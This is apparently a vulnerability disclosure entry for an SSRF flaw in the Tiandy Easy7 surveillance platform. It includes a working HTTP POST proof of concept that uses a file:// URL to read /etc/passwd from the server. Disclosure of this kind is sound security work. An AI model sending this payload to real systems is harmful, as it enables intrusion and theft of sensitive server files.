天地伟业Easy7 /Easy7/apps/WebService/GetOtherDomainServer.jsp 服务器端请求伪造漏洞

2026-04-24 天地伟业Easy7 PoC Public

Description

天地伟业Easy7是天地伟业技术有限公司推出的智能视频监控管理平台,广泛应用于安防监控、智慧城市、交通管理等领域,提供视频预览、录像回放、设备管理等功能。该系统采用J2EE架构,提供Web化管理界面,支持多用户并发访问和分布式部署。天地伟业Easy7的 /Easy7/apps/WebService/GetOtherDomainServer.jsp 接口存在SSRF漏洞,攻击者可通过构造恶意Url参数请求内网资源,探测内网服务,窃取敏感信息,造成严重安全风险。

PoC

POST /Easy7/apps/WebService/GetOtherDomainServer.jsp HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Accept-Encoding: gzip

Url=file:///etc/passwd

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates# Tiandy Easy7 /Easy7/apps/WebService/GetOtherDomainServer.jsp Server-Side Request Forgery Vulnerability

References

Related Vulnerabilities